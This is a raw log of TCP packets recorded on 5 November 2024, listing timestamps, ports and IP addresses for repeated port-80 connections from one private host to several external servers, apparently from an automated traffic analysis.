Nov 5, 2024 15:34:56.766853094 CET	80	49756	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:56.767004013 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:57.819632053 CET	49756	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:58.837135077 CET	49757	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:59.263602018 CET	80	49757	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:59.263816118 CET	49757	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:59.268990040 CET	49757	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:59.718198061 CET	80	49757	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:59.775443077 CET	80	49757	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:59.775590897 CET	80	49757	119.18.54.27	192.168.11.20
Nov 5, 2024 15:34:59.775933981 CET	49757	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:34:59.777746916 CET	49757	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:35:00.212596893 CET	80	49757	119.18.54.27	192.168.11.20
Nov 5, 2024 15:35:13.370269060 CET	49758	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:13.566570997 CET	80	49758	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:13.566792011 CET	49758	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:13.574532032 CET	49758	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:13.770561934 CET	80	49758	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:13.774205923 CET	80	49758	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:13.774241924 CET	80	49758	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:13.774586916 CET	49758	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:15.081497908 CET	49758	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:16.099195957 CET	49759	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:16.295698881 CET	80	49759	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:16.296067953 CET	49759	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:16.304152012 CET	49759	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:16.501244068 CET	80	49759	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:16.504554033 CET	80	49759	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:16.505258083 CET	80	49759	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:16.505439043 CET	49759	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:17.815262079 CET	49759	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:18.832756042 CET	49760	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:19.029460907 CET	80	49760	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:19.029855967 CET	49760	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:19.042628050 CET	49760	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:19.042659998 CET	49760	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:19.238778114 CET	80	49760	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:19.238910913 CET	80	49760	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:19.245040894 CET	80	49760	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:19.245155096 CET	80	49760	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:19.245332956 CET	49760	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:20.549093008 CET	49760	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:21.566574097 CET	49761	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:21.763252020 CET	80	49761	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:21.763510942 CET	49761	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:21.771250010 CET	49761	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:21.967551947 CET	80	49761	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:21.972999096 CET	80	49761	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:21.973069906 CET	80	49761	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:21.973316908 CET	49761	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:21.975146055 CET	49761	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:35:22.171837091 CET	80	49761	195.110.124.133	192.168.11.20
Nov 5, 2024 15:35:27.108392954 CET	49762	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:27.288279057 CET	80	49762	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:27.288502932 CET	49762	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:27.296200037 CET	49762	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:27.482917070 CET	80	49762	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:27.504525900 CET	80	49762	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:27.504534006 CET	80	49762	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:27.504676104 CET	49762	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:28.797281027 CET	49762	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:29.814738989 CET	49763	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:29.990678072 CET	80	49763	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:29.990895033 CET	49763	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:29.998555899 CET	49763	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:30.174473047 CET	80	49763	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:30.185868025 CET	80	49763	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:30.185873985 CET	80	49763	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:30.186171055 CET	49763	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:30.571814060 CET	80	49763	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:30.571942091 CET	49763	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:31.499802113 CET	49763	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:32.517275095 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:32.695349932 CET	80	49764	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:32.695585966 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:32.703387022 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:32.703443050 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:32.703473091 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:32.881875038 CET	80	49764	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:32.881880999 CET	80	49764	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:32.881886005 CET	80	49764	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:32.898757935 CET	80	49764	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:32.898839951 CET	80	49764	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:32.899013042 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:34.217979908 CET	49764	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:35.235641956 CET	49765	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:35.411715031 CET	80	49765	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:35.411978960 CET	49765	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:35.417129993 CET	49765	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:35.593621016 CET	80	49765	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:35.603905916 CET	80	49765	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:35.604000092 CET	80	49765	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:35.604252100 CET	49765	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:35.606163979 CET	49765	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:35:35.782166004 CET	80	49765	203.161.41.204	192.168.11.20
Nov 5, 2024 15:35:40.726126909 CET	49766	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:40.902173042 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:40.902396917 CET	49766	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:40.910063028 CET	49766	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:41.091934919 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:41.092016935 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:41.092061043 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:41.092107058 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:41.092140913 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:41.092159033 CET	49766	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:41.092173100 CET	80	49766	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:41.092493057 CET	49766	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:42.419364929 CET	49766	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:43.437138081 CET	49767	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:43.615015030 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.615271091 CET	49767	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:43.622961998 CET	49767	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:43.803977966 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.804078102 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.804094076 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.804109097 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.804120064 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.804163933 CET	80	49767	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:43.804362059 CET	49767	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:45.137571096 CET	49767	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:46.155397892 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:46.331444979 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.331727982 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:46.339553118 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:46.339608908 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:46.516841888 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.516896963 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.516930103 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535250902 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535319090 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535367012 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535413027 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535443068 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535478115 CET	80	49768	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:46.535572052 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:46.535742998 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:47.855606079 CET	49768	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:48.873228073 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.051536083 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.051745892 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.057204008 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.237687111 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237756968 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237807035 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237852097 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237894058 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237937927 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237979889 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.237987041 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.238028049 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.238030910 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.238061905 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:49.238085985 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.238255024 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.240101099 CET	49769	80	192.168.11.20	68.65.122.222
Nov 5, 2024 15:35:49.418620110 CET	80	49769	68.65.122.222	192.168.11.20
Nov 5, 2024 15:35:55.161678076 CET	49770	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:55.480856895 CET	80	49770	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:55.481074095 CET	49770	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:55.488802910 CET	49770	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:55.807821989 CET	80	49770	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:55.808893919 CET	80	49770	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:55.808944941 CET	80	49770	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:55.809115887 CET	49770	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:56.994261980 CET	49770	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:58.011699915 CET	49771	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:58.321960926 CET	80	49771	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:58.322154999 CET	49771	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:58.329834938 CET	49771	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:58.639374018 CET	80	49771	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:58.640630007 CET	80	49771	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:58.640639067 CET	80	49771	45.150.55.15	192.168.11.20
Nov 5, 2024 15:35:58.640785933 CET	49771	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:35:59.837373018 CET	49771	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:00.854883909 CET	49772	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:01.166173935 CET	80	49772	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:01.166424990 CET	49772	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:01.174194098 CET	49772	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:01.174261093 CET	49772	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:01.485243082 CET	80	49772	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:01.485723972 CET	80	49772	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:01.486511946 CET	80	49772	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:01.487114906 CET	80	49772	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:01.490061998 CET	80	49772	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:01.490475893 CET	49772	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:02.680990934 CET	49772	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:03.698380947 CET	49773	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:04.016330957 CET	80	49773	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:04.016555071 CET	49773	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:04.022237062 CET	49773	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:04.339998960 CET	80	49773	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:04.342394114 CET	80	49773	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:04.342444897 CET	80	49773	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:04.342756987 CET	49773	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:04.344516993 CET	49773	80	192.168.11.20	45.150.55.15
Nov 5, 2024 15:36:04.662307024 CET	80	49773	45.150.55.15	192.168.11.20
Nov 5, 2024 15:36:09.521842003 CET	49774	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:09.630553961 CET	80	49774	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:09.630723953 CET	49774	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:09.638406992 CET	49774	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:09.746170998 CET	80	49774	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:09.771873951 CET	80	49774	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:09.771974087 CET	80	49774	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:09.771981001 CET	80	49774	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:09.772154093 CET	80	49774	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:09.772169113 CET	49774	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:09.772341967 CET	49774	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:11.147459984 CET	49774	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:12.165297031 CET	49775	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:12.273473024 CET	80	49775	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:12.273674011 CET	49775	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:12.281435966 CET	49775	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:12.389162064 CET	80	49775	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:12.408978939 CET	80	49775	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:12.409024000 CET	80	49775	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:12.409080029 CET	80	49775	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:12.409085989 CET	80	49775	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:12.409312010 CET	49775	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:13.787508011 CET	49775	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:14.804955006 CET	49776	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:14.913656950 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:14.913899899 CET	49776	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:14.921763897 CET	49776	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:14.921844006 CET	49776	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:15.029874086 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.029898882 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.029917002 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.030113935 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.030133009 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.030144930 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.030160904 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.055460930 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.055473089 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.055484056 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:15.055490971 CET	80	49776	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.446938992 CET	49777	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:17.555171013 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.555399895 CET	49777	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:17.560540915 CET	49777	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:17.668180943 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.668472052 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.668488026 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.668581009 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.668593884 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:17.668952942 CET	49777	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:17.671972036 CET	49777	80	192.168.11.20	50.19.214.227
Nov 5, 2024 15:36:17.779684067 CET	80	49777	50.19.214.227	192.168.11.20
Nov 5, 2024 15:36:22.790349007 CET	49778	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:22.900994062 CET	80	49778	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:22.901177883 CET	49778	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:22.908857107 CET	49778	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:23.035676956 CET	80	49778	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:23.036252022 CET	80	49778	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:23.036417007 CET	49778	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:24.410181046 CET	49778	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:24.518920898 CET	80	49778	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:25.427666903 CET	49779	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:25.537864923 CET	80	49779	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:25.538047075 CET	49779	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:25.545689106 CET	49779	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:25.654776096 CET	80	49779	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:25.654877901 CET	80	49779	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:25.655112028 CET	49779	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:27.050292015 CET	49779	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:27.159535885 CET	80	49779	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:28.067715883 CET	49780	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:28.178237915 CET	80	49780	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:28.178461075 CET	49780	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:28.186302900 CET	49780	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:28.186389923 CET	49780	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:28.295923948 CET	80	49780	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:28.296005011 CET	80	49780	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:28.296042919 CET	80	49780	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:28.296072006 CET	80	49780	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:28.296531916 CET	80	49780	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:30.707797050 CET	49781	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:30.819636106 CET	80	49781	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:30.819884062 CET	49781	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:30.833393097 CET	49781	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:30.943423033 CET	80	49781	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:30.944552898 CET	80	49781	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:30.944608927 CET	80	49781	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:30.944869995 CET	49781	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:30.948765993 CET	49781	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:31.058932066 CET	80	49781	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:44.248358011 CET	49782	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:44.360007048 CET	80	49782	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:44.360192060 CET	49782	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:44.367878914 CET	49782	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:44.482261896 CET	80	49782	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:44.482306957 CET	80	49782	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:44.482485056 CET	49782	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:45.874186039 CET	49782	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:45.984240055 CET	80	49782	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:46.891695976 CET	49783	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:47.001668930 CET	80	49783	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:47.001856089 CET	49783	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:47.011559963 CET	49783	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:47.121239901 CET	80	49783	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:47.121478081 CET	80	49783	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:47.121639013 CET	49783	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:48.514239073 CET	49783	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:48.623239040 CET	80	49783	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.531749964 CET	49784	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:49.641918898 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.642262936 CET	49784	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:49.650089025 CET	49784	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:49.650146961 CET	49784	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:49.758795023 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.759351969 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.759386063 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.759408951 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.759430885 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.759455919 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:49.759479046 CET	80	49784	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:52.171834946 CET	49785	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:52.283277988 CET	80	49785	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:52.283478975 CET	49785	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:52.288631916 CET	49785	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:52.398204088 CET	80	49785	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:52.399775028 CET	80	49785	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:52.399818897 CET	80	49785	13.248.169.48	192.168.11.20
Nov 5, 2024 15:36:52.400037050 CET	49785	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:52.401878119 CET	49785	80	192.168.11.20	13.248.169.48
Nov 5, 2024 15:36:52.511255026 CET	80	49785	13.248.169.48	192.168.11.20
Nov 5, 2024 15:37:06.704945087 CET	49786	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:06.813395977 CET	80	49786	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:06.813647985 CET	49786	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:06.821808100 CET	49786	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:06.930212975 CET	80	49786	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:08.338104963 CET	49786	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:08.487034082 CET	80	49786	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:09.355752945 CET	49787	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:09.463982105 CET	80	49787	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:09.464241028 CET	49787	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:09.471915960 CET	49787	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:09.580096006 CET	80	49787	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:09.581113100 CET	80	49787	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:09.581393003 CET	49787	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:10.978121042 CET	49787	80	192.168.11.20	15.197.148.33
